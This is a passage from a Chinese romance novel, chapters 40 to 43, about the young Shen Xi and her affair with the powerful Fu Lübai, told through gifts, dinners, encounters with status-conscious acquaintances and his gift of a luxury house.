在见到沈晞极其小幅度的摇头后,“啪”的一声轻轻将灯关掉,而后躺了下来,自然而然的将人抱进怀里。
沈晞早已经半睡不睡,这样的动作以姿势并没有让她来得及有什么情绪,便在他怀里睡着了。
只不过半睡半醒间,她忽然觉得胸口有些微凉,只一下,便又很快融入体温。这么轻微一下根本抵不过困意,下一秒便彻底沉沉的睡去,什么都不知道了。
自然也不知道,傅律白温柔的揽住她的脖子,又轻轻吻了下她的唇,才心满意足的睡去。
有风吹过,微微掀起纱帘的一角,窗外的月光透出缝隙照进来,留下满室的温柔。
40. 第 40 章
沈晞一手撑在床上,没骨头的瘫坐起来时,整个人都还有些恍惚,傅律白大概是不喜欢灰蒙蒙光线的,纱帘被他拉开了一半,另一半刚好能遮挡此时的光线,不必刺了她的眼睛,天光却已大亮。
这间卧室采光格外的好,不知道是不是傅律白要求的,光线直白的照进房间里,金灿灿的明亮甚至连悬浮在空气中的那些细小颗粒都折射出金色的光泽,像是能照去一切的阴霾,看上去就温暖,确实一睁眼看到这样的阳光,会让人心情不错。
是明确且直白的,让人感觉能看到希望与未来的。
当然这似乎也只限于刚睁眼时大脑精神思维还未清醒的那一刻。
傅律白并不在,当然他们并不存在情侣间的那种温存,全是你情我愿的及时行乐,行到哪里由不得她。
她轻勾了下唇,眼底带着几分自嘲的落寞,大概是才睡醒,受不得这样的光亮,觉得有些刺眼,却又觉得这样照着挺舒服,便将手抬起虚虚遮住眼睛。
有什么东西却在胸口轻摇换了下,沈晞想起昨晚快要睡着时,胸口好像忽然凉了下,她下意识的低头看去,却见一颗成色极其好的粉钻在阳光下发出耀眼的光芒,光透极致梦幻到不行,几乎瞬间便能让人联想到浪漫。
是这样的贵重,像极了金主事后给个什么彩头来买断这次,钱情两讫。
傅先生真是出手阔绰。
也不知他这算是讲究,还是再怎么样,也还是染了圈子里的行事做派。
傅律白刚进来,便见到她兀自出神的这一幕,顺着她的视线看过去,说:“当时给你弄得生日礼物,原本想第二天送你——”
他的话适时停住。
沈晞听到声音后,下意识抬头,看到他别有深意的眼神后,猛然想到了什么——
第二天她就一声招呼不打的走了。
她有些心虚的轻闪了下眼神,不想继续这个话题,颇有点无理搅三分的反指责,“那你之前怎么不送?”
就好像,变成了施难者后她便占领了道德的高地。
“我哪里有机会。”傅律白轻笑,走过来,“怕你一早又走了,就先给你戴上。”
说完这话时,他刚好路过她,将另一边的纱帘拉开,留给了沈晞思考的时间。
想起来了,第一次见时,她直接二话不说的趁着酒劲儿,先把人压着亲完了再说,他大抵也没想过那天会恰巧遇到她,这种东西更不会随身带在身上。
第二次他将她接到这里,她却因为那些个夫人的话而没有什么情绪,倒头就睡了,睡醒后又觉得不自在提上衣服就走了。
“……”
想到这,她的脸色又不禁的顿了顿,他是点她这儿呢。
他举手投足都带着股居家的松弛,语调也像是情侣间的调侃,不知道他说的是真还是假,又是否只是哄哄她。可能让傅先生花费些心思哄一哄,也算值了,她也该知足,感到荣幸。
她笑了笑。
但傅律白觉得,她笑的并不怎么开心。
“不喜欢?”
沈晞表情有些故意外放,夸张的说:“喜欢啊,怎么不喜欢,是不是值很多钱,这样的东西我要是在不喜欢,我可真是不知好歹。”
傅律白却看着她轻笑了下,满不在意的就像是那千万起步的东西不过尔尔的说:“在我这,从来不以金钱定于价值,在我这,茜茜喜欢的,才算有价值。”
沈晞愣住,脸上虚假的轻松笑意快要维持不住,他真的好会说情话,明知道是假的,可还是动人的想让人落泪。
她看着他,笑眼盈盈眼睛都快完成了月牙,可仔细看,眼中其实是慢慢浮现出水雾的,可在阳光的照射下,却像是在发着光,好似极其真诚,“茜茜最喜欢傅律白。”
可她不过是仗着不走心,自欺欺人的说着平日里不敢直接说出的真心话来。
就像是前几日,她一直推脱着忙,可到底是真的忙,还是自欺欺人的不在意没放在心上,只有自己知道。
但听到傅律白耳中,却像是句小女孩独有的讨巧,将人哄得心悦诚服,好引得人下次还愿送她。她想,她小时候到底这样讨巧过很多的人,收到过不少礼物。
可却也是句实打实的情话,让他不由的怔住,现在的小姑娘谈起恋爱来,都是这样直接的么?
他的眼神不自在的轻眨了眨,有些接不住,又觉得自己应该回应着说些什么,可人已经潇洒的翻身下了床,走去了浴室,然后传出了噼里啪啦的洗漱声。
“……”
-
之后的日子里,两个人也没明确什么,亦或是约定什么,就连见面,约她,沈晞也都是想去就去,不想去便不去,她有在有意的控制着自己,免得到时自己越陷越深,也有在刻意的把控着见面的节奏与频率,就好像这样,他们的关系便是由她主导说了算一样。
她自然也知道外面人在怎么说她,怎么想她,可这些只要不当着她的面说,嘴长在人家的身上便由得他们。
其实她那日,置气撑场子的说着那位空姐一点都不聪明,可她又能聪明到哪里去呢。
甚至可笑至极,她只希望他们之间的关系,可以简单一点、再简单一点,就像是当初傅律白向他们隐藏着自己的身份一样,但却又不一样。
她甚至不想和他有任何一点的利益拉扯。
单凭感情的走完一段,就好像这样,他们的关系便是平等的。
她知道,她日后,一定会成为他们圈子里,最大的笑话。
可那又怎么样,到时候她早已不在这个圈子里,挥挥衣袖潇洒的离开,左右她也听不到。
今日傅律白叫她,说是要带她去吃当时说的那位老师傅的腌笃鲜,来赔那日的饭。
这个由头,沈晞一听,那自然是要去的。还真是一家老店,巷子里三进三出最终不知道是怎么拐的,到了一家看上去装修有些旧了,却顶气派的店外,这样的泛旧反而更衬这样的气派,带着股扑面的古朴与威严来。
后来傅律白告诉她,这里的师傅是当年御膳房里大师傅的传人,是真代代相传的手艺,只不过传到他这代,愿意做这活儿的已经微乎其微,后世再想要吃到怕是难。
沈晞一听,那她可得好好尝个鲜。
傅律白笑她,说:“这位师傅今年也才五十出头,说的后世也是你之后的事,你要想吃,随时过来,应当还能吃上好些年。”
沈晞也只是笑笑,他们的关系随时结束,又哪里有那么多的“随时”,到时谁又会卖她这个面子,这样的店怕是寻常直接进来难以吃到的,再说,就这三进三出的,没傅律白带着,她找都找不到。
也不知道傅律白是怎么总是找到这样好吃的地方的,他看上去并不像太享受口腹之欲的人,于是问他。
傅律白让她知道,到了一定的圈层与地位,资源、信息会来得更广、更简单、快捷,不用万事都亲力亲为。
他说这些话时,带着淡淡地成熟优秀男人的魅力,却又没有刻意卖弄与说教,那一刻,沈晞不由得仰视与钦慕他,不仅仅只是女人对男人的。
那些年,傅律白真的带她见识了很多,指引她很多,懂得了很多。
然而他却话锋陡转,轻挑了下眉说:“再说,谁说我不喜欢口腹之欲?”
沈晞有些好奇又茫然的看着他。
他便看着她,眼风在她身上慢慢地轻扫,眼神却又不直白,带着几分风流,最后又回到了她的脸上,看着她的眼睛不紧不慢的说:“食色,性也。”
说着,便轻笑了下,率先一步走了进去。
沈晞被他忽然这样,带着几分克制却又风流般的调情给弄得一愣,却又很吃这一套,脸瞬间就红了。不知道他是怎么,连偶尔说些男女间的情话,都带着君子雅士般的浪漫风流又雅致的。
她脸上带着知道应当克制却又不受控制娇羞的弧度,可渐渐地她的嘴角便又垂了下来,她大抵这辈子再也遇不到像傅律白这般,这么对口味又不易有的人了。
大概是提前打过招呼,菜上的很快,不但有腌笃鲜,还有蟹粉狮子头、松鼠鳜鱼、八宝葫芦鸭,看来师傅是位精通江南菜的,这些她平日里并不少吃。
傅律白为她夹了
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一块鱼肚子上最嫩滑紧弹的肉,放到她的碗中,声音温淡道:“有段时间没吃了,看看和家里味道差些什么。”
平日在家里,再怎么也不会天天下馆子,再说,就算是在本地,能吃到定正宗对味的老师傅菜也是不易,怎么会差。
其实也不过是傅律白周到,怕她想念家里的味道,而说起话来却又总是这样的会讲好听谦逊,让人听着愉悦。
她还未来得及说话,门便又被打开,沈晞以为还有菜没上来,却见有穿着西装革履的人进来,脸上带着笑,大抵是这店的老板,来刻意和傅律白打招呼。
傅律白也只点头,寒暄了句客气的话来,手上的动作却未停,给沈晞夹菜,意思是她不必理,别耽误吃她的,菜有时就差那么几分钟,凉了便差些意思了。
身后还带着位师傅,老板也是察言观色十分有分寸的人,只打完招呼将场面话都讲完后,便不在多言,而是让身旁带来的师傅,一一介绍着这些菜。
这应该就是这一桌的主厨了,长得矮矮胖胖,头圆圆剃了个一毫的小短寸,像是个卤蛋,长得很喜庆。
沈晞想,不愧是祖上的御膳厨,不但又手艺,长相也很讨喜,这样的讨喜在皇上面前讲一讲,确实让人会更加有食欲些。
沈晞一边听着一边听他讲,而她夹一口,夹到什么,大师傅也能顺着讲出些什么来,这样吃法还挺有意思。
待沈晞每样菜都试过来,讲得也差不多后,师傅又将旁边的推车摆上前,说:“还有最后一道菜。”
沈晞好奇的看上去。
师傅在一旁的小铜盆将手洗净,拿出一块豆腐来。
沈晞已经猜到,师傅大概是要做文思豆腐。
是道极其考验厨师刀工的菜,其实味道嘛,千人千味,可左不过是快豆腐,能成为菜系代表也不过由于这刀工的不易与难做了。
她吃过几次,但是看现场切还是第一次,她不由得聚精会神,只见师傅起刀,刀已经在沈晞眼中出现残影,看得人眼花缭乱,最后一刀落后,柔而不断软而不烂竟然扔保持着刚才的形态,像是什么都没发生过一样,直到再次起刀将豆腐拖起,放锅中一落,在高汤中瞬间似云雾般展开,仿佛水墨青山如眼前般呈现。
沈晞看的有趣,眉眼都是带着笑的,傅律白自然乐见她笑,手搭在她身后的椅背上,时不时的看向她,眼底也带浅浅笑意。
饭店老板看到,由不得看向沈晞,带着几分估量与猜测。
沈晞回过头来,便对上了这样一双,像是称斤按两在估算案板上的猪肉有几斤几重值得多少钱,又能保鲜多久的眼神。
那是一种,冷漠又不加掩饰,看货物时的样子,带着股高高在上,甚至连鄙夷都不屑的有。
因为已经看过太过,已经见怪不怪,已经早已知道结局,所以连他们的眼都不配入。
这样的眼神,她已经看过很多次。
所以在傅律白问她,“合胃口么?”
沈晞直白的看着老板的眼睛说:“不喜欢。”
老板表情有一瞬间的僵愣,甚至惊讶,同时终于将视线第一次看向沈晞,第一次,认真的看她这个人。
傅律白却从容又淡然,轻描淡写的笑着说:“那下次便不来吃了。”
说着便不紧不慢的牵着她的手往外走,连那位老板上前一步,欲想和他说上几句都未理的,如陌生人般从面前走过。
傅律白是什么人,他开口说不来吃的店,大家便默认是金口玉言的什么风向,涉及太多与太广,总是不愿和傅律白交恶的,便自然而然也不来了。
近快百年门庭若市的老店,就这样不到半月,大厦瞬倾。
当然这也是沈晞很久后才知道的事,是她有一日和自己闹着脾气别别扭扭又和傅律白悄悄说,其实那个师傅做的还挺好吃的,能不能不走那家店的账,请师傅私下来做一顿啊。
傅律白哑口,后又忍俊不禁的笑,将那位师傅请来,又让禹开然再弄了个餐饮店,放到他那里去打理,说,禹开然总不会莫名其妙的惹了你。
原来他什么都知道。
41. 第 41 章
当然此时的沈晞心中闷着一口气,只有不爽。
恰好这时,一小队人马从拐角处过来,大约五六个人,为首的是位戴着个金丝框眼镜头发一丝不苟穿着标准的西装三件套,看上去满儒雅的大叔,正边走边跟旁边的人说着些什么,走的有些快以至于走在沈晞他们身旁走过两米远时,又猛地停下了脚步,有些不确定的打量了傅律白两眼后,脸上立刻堆起笑来,将原本带的一众人抛之脑后,笑着走了过来。
“傅先生真是巧了,您也来这吃饭?您这是才吃完?”
傅律白神色淡淡的轻颔了下首便是应了。
吴毅脑袋灵光,也自然看到了站在傅律白一旁的人,几乎一眼就认出,还是当时那位,他当日找来办事的人也所言非虚,确实有一双十分干净、澄澈、灵动的眼睛,鲜活的让人忘记了周身的污噪,像是给他们这个圈子都洗涤了一般。
他也知自己在傅先生那里,再也找不出任何的突破口,而这个小姑娘能在傅先生身边这么久,总是不一般的,他何必舍近求远,和这小姑娘打好关系,也是一样的。
“刚巧我知道这附近有家不错的糖水店,很受姑娘们喜欢,咱们过去坐坐?”这话嘛,像是对着傅律白讲得,可却是看着沈晞笑。
带着几分讨好。
这人,倒是肯正眼看她,比刚刚的那位老板聪明。可又可能是因为权势地位不如那位老板,所以才只能从她这里下手,而不像那位老板那样对她冷漠的甚至不如看傅律白身上佩戴个什么物件。
沈晞轻笑,不过笑的有些冷,笑容并未极眼底,“吴总,我们见过。”
吴毅愣了下,随后心中顿时一喜,一般这样的开头,便是要主动拉近关系了,开着这位小姐在傅先生面前正讨喜,有了这层关系,他又何止再愁那片地,那便是无限的资源,飞黄腾达也不过就是一夜间的事。
他的大脑顿时像过电流般激动,全身都兴奋出汗来。
然而下一秒,却见面前的姑娘脸微微侧扬起来,带着些俏皮的说:“当时您来我们学校考察,准备捐栋楼,还是我接待的您。那天可冷了,吴总也很注重这个活动一大早就说要来,我们连饭都没来得及吃,您都这样认真了,我们也必须拿出诚意来不是,哪儿还敢吃饭啊不是,但是吴总大概中途被什么耽搁了,我们足足等了两个小时才来呢,吴总真是好忙啊。”
她说完,又侧头看向傅律白,带着几分娇嗔的打趣说:“哪像你,整日游手好闲只会陪我吃喝玩乐。”
傅律白垂眸看着她笑,轻声的像是情人般的说小话,“你这人,陪你玩儿还不好?”
吴毅却脑子顿时“轰”了一下,他没想到竟然是这样的一面之缘,刚刚这姑娘话音间明褒暗贬的,全是在告状,哪还有什么“拉近关系”、“飞黄腾达只在朝夕”,这是全做了恨呐!
身上的那些激动的热汗顿时变成了凉的。
果然下一秒傅律白便没什么情绪的看着他,“哦,竟然还有这样的缘分。”
语调里却没有半分的好奇,淡地有些发冷。
吴毅急中生智顿时像是恍然大悟般,笑着对沈晞说:“呦,看我,真是眼拙,当天真的辛苦了,就因为你们的招待我都不敢掉以轻心,这不前两天才找好了单位,马上就能动工了。”
沈晞表情顿了下,而后冲着他不走心的轻笑,“那可真是谢谢吴总啦。”
顷刻间,便能让当时完全没这个意思的人捐了栋楼出来,恐怕也就只有傅律白。而她闷着一口气,所以将所有人的面子都撕破,带着股尖锐的,也不过是想看看傅律白此时对她的兴趣有多深,会做到什么程度。
她就是不爽的,像是那些人都不痛快。
可傅律白毫不犹豫的按着她的心意,给足了她的面子,可她却又仍高兴不起来。
就好像镜中月水中花,越发的不真实。
这样的恣意宠爱,又能有多久呢?
她一直提醒着自己,又或许是因为心中的那份警醒与冷静,在这样的纵容冲击下,才会让她事后越发的低落。
傅律白自然能察觉到她的低落,他不知道怎么人家不看她她不高兴,转头换了吴总看着她打了声招呼她也还是不高兴。
车子再次三进三出,东拐西拐,但沈晞看出,这好像,是又往胡同更深处走了,“去哪儿?”
沈晞疑惑的看向身旁的男人问。
傅律白侧头轻笑着摸了摸她的头,带着几分逗趣和惊讶的语气说:“竟然还认得路。”
说的就好像她是个出门就会走丢的人一样,不过这里面确实很晕。
沈晞不服气,“别忘了当初是谁带你从巷子里走出来的,不然您和您的爱驹得明天早上才出来。”
说的是他们第一次约到沈晞校外小吃街吃饭那次。
傅律白满不在意的提请她,“我可以步行先出来。”
沈晞表情夸张的伸长了脖子,对着前面开车的田师傅说:“你看他多冷血啊,就让您在哪儿等一晚,这种弃卒保车的老板跟不得,我都替您难过了。”
田师傅在前面笑,都熟了,偶尔也会搭些话,“傅先生可不冷血。”
沈晞还欲在挑拨,傅律白却先开了口,淡声说:“田师傅当然也跟我一起散步出来,我们就顺着小吃街,烟火最足的那路走,要是看到什么还能买点拿回去吃,田师傅可还没吃饭呢。至于车,放在那里总有代驾知道怎么出来,哪儿犯得着田师傅等一夜啊。”
沈晞猛地转过身去,惊呆般看着他,看看这驭人之术,一句话形势陡转,她要是田师傅她都得更死心塌地的跟着他。
傅律白看着她的表情,不由得欢愉轻笑,一下一下揉着她的脑袋,将她的头发揉乱。
说话间,车子已经停到了朱门石狮外。
沈晞看向他,傅律白才回答她之前的话来,“糖水不喝了,怕你腻。”
他话里有话,也不知道是真的怕腻到她,还是因为是让她不悦的人的建议,所以才“腻”。
又说:“来喝点莲子汤,你要是有兴趣,还能自己摘。”
听这话,沈晞以为又是什么私人小馆,但走进去,就觉得不太对了,里面的装饰都太高贵威严,不像是平常馆子支撑的住的。但也不一定,有些有权有势的人到了一定地步,便又爱剑走偏锋还真有可能住着价值几个亿的房子,然后在里面卖点每天赚不到两三百块的小甜品。
别问,问就是,交朋友啊,寂寞啊,感悟人生啊。
反正她是没有这样的境界。
但确实和傅律白在一起这段时间,她见过些这样的人。
不过等见到主人家,便觉得不对了。
傅律白显然常来,里面的人都对他很熟也很客气。
“呦,怎么过来了,韩老也没跟我说啊。”引着他们往里走的老伯说。
傅律白笑笑,“没提前讲,韩老在么?”
“在呢,”这老伯挺高兴的说,“正在里一个人下棋呢,您来的正好。”
走进客厅,韩老早已听到
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了外面的声音,一边下着棋,一边抽空抬起了个,“律白来啦?”
同时看到了他身旁的沈晞,有些惊讶,却一闪而逝,而后对着沈晞轻笑了下。
是那种,很和蔼长辈对小辈的笑意,是难得的今日,让沈晞很舒服的眼神,她瞬间对着这位老人有着些天然的好感。
“叫韩爷爷。”傅律白在一旁说着,又冲着韩老笑,“想到莲子可以摘了,刚好在这附近,便过来了。”
沈晞跟着叫,“韩爷爷。”
她落落大方,又带着叫长辈时习惯的微微撒娇与讨巧,一下就得了韩老的喜欢。
并且这声傅律白让叫的“韩爷爷”,也不是什么人都能叫了,暗里也点了这姑娘的不同。
韩老冲她笑应了这个称呼,又和傅律白说:“你来得正好,最后一批再不摘就老了。”
傅律白又问:“还有剩下的么,给她煮碗汤尝尝鲜。”
“说的你喝过一样,有,都有。”
沈晞坐在一旁,一边小口小口喝着莲子桂圆红枣汤,一边看着两人对弈,心道两人的关系是不一般的,带着和自己长辈的熟络,还是那种亲近的长辈。
他这是什么意思?
他们这样的关系,真的方便带到长辈面前么?
还是……他们也早已默认的,知道结局反正就是那样,早已定好,甚至傅律白还没出生时便已定好了他的婚姻和未来,所以中间怎么样,他们不在意。
面上和蔼的笑,其实也和那位老板的冷漠,并没有什么两样。
都是一种不在意,只不过年长者道行更高,可以笑着对人。
沈晞兀自的有些出神,傅律白却以为她看两个人下棋无聊,边想着下一步棋边和沈晞讲,外面有莲蓬摘,让她自己去玩。
沈晞确实在这里坐着有些闷便出去了。
人出去后,韩老笑他,“心没在棋局上也还能不落下风,这些年,你棋艺练得可以。”
傅律白愣了下,笑着说:“韩老您少打趣我。”
沈晞静静地看着面前的莲花兀自出神,忽然又觉得自己庸人自扰,不是早就已经想好,及时行乐一段而已,又何必在意。
今日她无端发的几次尖锐,都来得有些莫名可笑。
棋后,傅律白来找她,第一眼便觉得人情绪好了起来,这莲清心降火的功效好似也太过立竿见影。
两人回去和韩老辞行,韩老本想留他们吃晚饭,被笑着推脱拒绝。
等他们沿着池塘小路走出来,沈晞又想起今日她的忽而任性,不知道会不会有什么影响,必定,及时行乐嘛,行的是个乐,她也不能破坏太多的东西。
说:“不用再照顾生意啦。”
路上,傅律白也和她讲,他们向来爱相互照顾些生意,他们这种生意人,最懂得你来我往。
问完,却又后悔。
傅律白兴许当时也就是那么一说的哄哄她,过后还该怎样去怎样去,她这样傻乎乎的又旧事重提的问,让人家怎样说,多自讨没趣。
但话已经来不及收回。
傅律白却牵着她的手,漫不经心的说:“那么多人,我哪里照顾的来,不照顾也就不照顾了。”
沈晞还是忍不住在这一刻被熨帖到,是真话还是假话好像也不必再深究,反正他们也只是走这么一段,他愿意哄她便也图个开心罢了。
这少这一刻的心动是真的,只是千万千万别往心里去。
不然到时,你就变得可笑又狼狈了沈晞。
42. 第 42 章
从那之后,沈晞似乎想开了些,也减少了和自己以及那些人较劲的频率,不过是一些不相干的过客,她又何必理他们。
她越发恣意的享受着和傅律白在一起的日子,也会偶尔在那些人面前放纵的享受着傅律白的纵容,但有的时候还是心性没练到家,有一次她喝了些酒,也就两口,但却故意的仗着酒劲,坐在傅律白的腿上,下巴冲着桌上的葡萄说想起葡萄,然后也不动,就那样懒洋洋的扬着下巴等着她喂。
也不说多余的话。
傅律白其实在外,是很守分寸的,别看他私下里浪的她一愣一愣——啊,不能这样说,人家就算是调起情来也带着股君子的文雅劲儿,只不过是她太吃这套。但君子墨客们,可也向来玩的最花,花样最多。
所以她一带着醉意,撒着娇勾住他的脖子,没骨头一样坐在他腿上时,她便清楚的感受到傅律白愣了下,却也没推开她,反而单手扶住她的腰将她抱得更紧了些,她今日穿了件真丝缎面绿色半裙,很滑,而他也穿着薄而有些滑顺的西裤,大概是怕她坐不住滑下去。
这样的画面,曾经在深夜中出现过几次,她往往也是在快滑下去时,又被他捞起,揽腰抱住,固定住她。
沈晞的脸真的开始有些微微发红起来,看上去真像醉意更浓,她暗自摇了摇头,喝了酒思绪就有点乱飘。
傅律白拿给她,还很耐心的单手将葡萄皮剥了下来,沈晞则在那群人虽然极力掩饰但还是有些惊讶到目瞪口呆中,笑得越发恣意灿烂,像是挑衅又像是明目张胆的叫嚣。咬过他手中的葡萄,牙齿微微刺破不带一点皮的软嫩葡萄,有些微汁水顺着傅律白修长的手指滑下来。
他抽出张纸巾来擦了擦,沈晞却看得有些出神,笑容慢慢地收敛,同时对上了傅律白淡淡看过来、却又像是看透一切意有所指的眼神。
她顿时头皮发麻,脸变得更红了。
她怎么也没有想到,傅律白会在这么多双眼睛下,公然调情。
这实在是不符合他在外人淡君子的人设,同时也再一次刷新对他的认知,要说浪荡风流还得是傅先生。
可他偏偏一本正经的样子,便更加的撩人。
这日,她陪他来一个看上去挺正式的局,不过傅律白一直的口吻都是讲带她来玩,就好像无论什么地方,只要有他在的地方都可以成为她的游乐场。
那他都这样讲了,她还能怎么办,自然不好意思辜负,玩得开怀。确实也很开怀,这局里的人,大概道行都很深,纷纷给她几分面子买她的账,客客气气又说尽恭维的话,就连她不久前去找傅律白玩,而傅律白又要和人聊些事情,她嫌无聊随便找了家美甲店领劵花了19.9做的纯色指甲,都有被同样带来的姑娘连连夸好看,又问是在哪里做的。
这还真问到了她,当时聊事的地方挺偏的,她说懒得跟他去自己去转转刚好刷到了家美甲店,傅律白便要推了,说也不是什么重要的事,他也懒得聊,每天聊来聊去烦得很。
便要跟她过去。
有时,傅律白其实也偶尔小孩子脾气。
一般懂事的姑娘,亦或是贤内助的话,一定不会让他跟来,会叫他去做正经事。傅先生所聊的,又有哪件不是重要的事。
但沈晞没有一点心理负担,没有一丝犹豫的便说好啊,任由他胡闹。
那时沈晞便想,她果然不是什么能陪他走到最后的贤内助,完全没那个自觉。也没有那个想法和那样的心,只顾今朝,玩得欢愉便好。
那家美甲店大概是新开的,还未有什么名气,店里也没有什么人,所以才用19.9这样的价格想打开客户渠道。
傅律白陪她坐在店中,大概是第一次看人做指甲,每换一个操作,都在饶有兴趣的问:“这是在干嘛。”
店家大概也是个看脸的,回答的都很有耐心。
不久后,旁边又来了一位,往手上贴了很多的饰品,傅律白又是觉得有趣的问:“你怎么不弄啊?”
沈晞戳着自己的手机给他看,19块9,弄不了。
傅律白大概是接受不了这种因金钱价格所带来的不行,满不在意的笑着说:“来,多少,我给你加。”
沈晞又伸出自己亮晶晶的爪子,不知道为什么心情很愉悦的告诉他,“已经上封层了,弄不了。”
大概是因为让傅律白也感受到了一次“不行”吧。
傅律白却好像发现了什么有趣的事,大概他多少还是有些逃不过他们这种圈子里珠光宝气的审美的,偏爱一些bolingboling的东西,开始收集很多碎钻亦或是体积偏小的钻石来。其实哪里知道,不过是在傅律白眼中,她就是这样光彩夺目的,所以喜欢把这些东西放在她身上,才不算暴殄天物。
她那日醒来,随手批了件睡袍迷迷糊糊的下楼,便见有人站在门口给他送了个什么满精致的小盒子来,傅律白关上门后回头刚好见她下来,都没等她问是什么,他便满有兴致的走过去给她看,然后说留给她下次备用。
沈晞顿时人都醒了,有些目瞪口呆的看着他,我不识人间疾苦的傅先生,谁往指甲上放真钻啊,还是这样的成色。
傅律白却理所应当。
沈晞说,那你还不如直接换成钱来给我。
其实她说完便后悔了,和他开口要钱算什么。
傅律白却想都没想漫不经心的说,行啊。视线还落在那盒中的大大小小的钻石上,似乎在想象着放在她指尖时变换着各种花纹的样子。
便也没察觉到沈晞那一瞬间的情绪。
最普通的纯色美甲,又有什么好看不好看的,哪里做都一样,人家不过是在恭维说些好听的话,但人家都问了,别人这样的态度她自然也客客气气的,但一时还真把她问着了。
举着指甲下意识转头看向傅律白,“哪儿啊?”
她真是下意识,却让在桌的人,神情又是变了变,这样的事都是傅先生亲自陪着的,看了傅先生现下是真的宠她。
傅律白随口出说了条路来,但再具体的,他也记不住了。
沈晞这时才想起,对啊,她当时不是团了卷么,于是扒拉出界面买,却遗憾的发现,这家店,以降低利润的做法还是没能打开那一片的客户市场,没能坚持下来倒闭了。
一席吃的宾主尽欢,临走时,一位偶在电视中出现在晚饭间新闻中的人物将傅律白叫住,这位来的有些晚,所以没来得及聊上几句,这会儿大概是有事和傅律白讲。
留她的夫人在此,和沈晞一起,算是陪同,免得两人无聊。
那些个圈子中传的荒唐事,例如小姑娘一个不满意便不再光顾,百年老店算是圈内标志性的老店便这样烟消云散云云,像那一开口便让人捐一栋楼都是小事,这些自然都传到了这位夫人耳中。<
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初时她还不信,只觉得被一传十十传百的夸大,而如今,这小姑娘自然而然的问着美甲店在哪里,傅律白张口便能答出来,她确实在现场的。
她淡淡的凝着沈晞,忽然说:“年轻真好。”
那并不是一句恭维的话,带着股酸气与讥讽,眼神和肢体语言似全都带着股蔑视,像是在说:又能年轻及时呢。
沈晞怔了下,她和这位夫人见过两次,都是傅律白和那位新闻中的人物见面时,两人恰好在场。每次见面时,这位夫人总是优雅又端庄的,将成熟女性独有的魅力展现的很好。她忽然想到几次,这位夫人看傅律白的眼神,好像曾经还是大傅律白两届的高中学姐。
她顿时明白过味来。
于是看着她轻笑,“对啊,年轻确实很好。”
那位夫人没想到她会这样坦然承认,脸色霎时间变得有些难看。
沈晞欣赏着她表情的变化,又笑了下。
对,年轻确实好。
但不是因为她年轻,才被傅律白另眼相待几分。
而是因为她年轻,仗着自己天不怕地不怕的年纪,才敢去爱一爱他。但凡她再虚长个几岁,权衡个利弊,她都没有那个勇气一脚踏入这旋涡里。
靠近傅律白,谁又能全身而退的脱身呢。
不过是天不怕地不怕的年纪,不管以后,也有命折腾。
外面的风言风语甚嚣尘上,越来越离谱,哪怕说的在隐秘避人,自然也传到了傅律白耳中。这日他将禹开然叫来,问:“水晶宫那边是建好了?”
“前两天才验的收,”禹开然愣了下,他早就说三哥应当找套自己的房子,总住酒店算什么,总不如自己的自在还有归属感,尤其是三哥这种,有时连着城市飞几天,下飞机又直奔酒店,连家都没有,这多难过啊。
但三哥却说,反正他每个城市都住不久,嫌麻烦,便一直没弄。没想到今日却主动问起,但他原以为以三哥的口味以审美,会选北街九号那边,没想到竟然看上水晶宫了,但也是好事,于是兴呵呵的问:“怎么,三哥,你感兴趣?”
“都说我金屋藏娇,我总得先给人家个屋,不然多冤啊。”傅律白漫不经心笑呵呵的说着,可笑容不及眼底,仔细看眼中是带着气的。
其实是在水晶宫和九号那边选择了下,但想来,她在江南惯了,也看腻了这古朴园林,住起来也带着些老气横秋,她一个年轻轻的小姑娘往那种地方放什么,还是欢快些灵动些轻盈些的好,水晶多衬她。
禹开然脑子却嗡了下,这哪里是普通送个屋,这个屋可太招摇了,几乎是昭告天下,这样送、送成这样的等级水平,让未来那家怎么想,实在是下不来台,这太过了,婚房不过如此,三哥不会不明白这个中厉害,即使是他也忍不住想要劝,“三哥——”
傅律白却看着他说:“喜欢人家,总要拿出些诚意来。”
他神色淡淡,像是在说一件再理所应当的事,可仔细看,眼底是不易察觉的温柔。
禹开然知道,这是劝不了了,他看着傅律白不免带上了几分担忧,三哥说他知道分寸,可他真的知道么?
还能知道么?
他觉得自己开始像程开霁那般了,主要是他看三哥现在的状态,这种程度,他觉得真到了那天,得出大事,大到谁都承受不住。
怕是到时没有人能收了场。
43. 第 43 章
这天,沈晞来找傅律白吃饭,傅律白恰好有个跨国视频在开,即将结束,她便坐在沙发上等一会儿,同时刷着手机看看有什么吃的,就在这时,有一通电话打进来,沈晞接过。
过了几秒后,神色有些不对,和那边呛呛了两句。
傅律白从楼上走下来时,就看人皱着眉,嘴微嘟的有些不高兴。
她这个样子实在是可爱,像个小河豚。
“怎么了?”他忍着笑的问。
有人搭话,沈晞情绪就更起来了,不自觉嘟着嘴气呼呼的说:“你说怎么有这样的人啊,我房东,说他儿子要结婚,让我三天内赶紧搬出去,没到期的违约金他陪三倍给我。我说三天我来不及找房子,我尽快找,等找好了就搬,也不要他违约金,他说不行,就三天,然后就给我挂了。”
这个时候,就千万不能讲道理啊或者分析啊什么的,只是寻求个认同感跟着一起骂的才好出气,傅律白自然深谙此道,听后不紧不慢非常赞同的说:“这人可真没礼貌。”
“你也这么觉得吧!”沈晞非常认可,感受到了同仇敌忾,更来劲了,双手一抱胸哼了声说:“我就不搬,他还能把我轰走不成。合同都在那写着呢,他敢轰我就报警。本来他好好讲,我也不是不理解,我都说了我尽快找好房子就搬,而且哪有他这么突然的啊,一点准备都不给别人。”
她越说越气,越说越委屈。
“可不是么,到时候我就跟你一起坐在沙发上,看他怎么轰。”傅律白不紧不慢语调轻松的说。
他这样儿的调调,还是那副什么都不在意不放在眼里的轻松样子,神奇的就让沈晞没那么生气了,好像也跟着他一样,这事也不过如此,他果然有魔力,无论是之前还是现在,无论他们是什么关系。
沈晞被他逗笑。
感觉到她情绪又轻松了下来,他又说:“不过刚巧,你也不用找房子了。”
沈晞以为,他会很俗气的说上一句——我这这么多间空房,你随便选一间,还不要你房租之类的。
其实她并不排斥同居,同居所带来的什么草率啊冲动啊后悔啊,那些,在她身上,或者说她和傅律白之间是不存在的,反正她也从未求过长久,本身就是一场冲动的及时行乐。
自然也不存在什么草率和后悔。
抓紧有今日没明日的快乐相处时光才本就是他们之间的主调。
谁知下一秒,傅律白却拿出一串坠着小水晶建模的钥匙语调有些懒散的说:“今天刚好拿到我手上,正想拿给你,你说是不是巧了,我们茜茜有福气。”
沈晞却怔愣的说不出话来,那建模是房子的缩小版,璀璨梦幻如水晶宫殿,她知道这房子,那日跟姜瑶逛街时,曾经路过看到过。
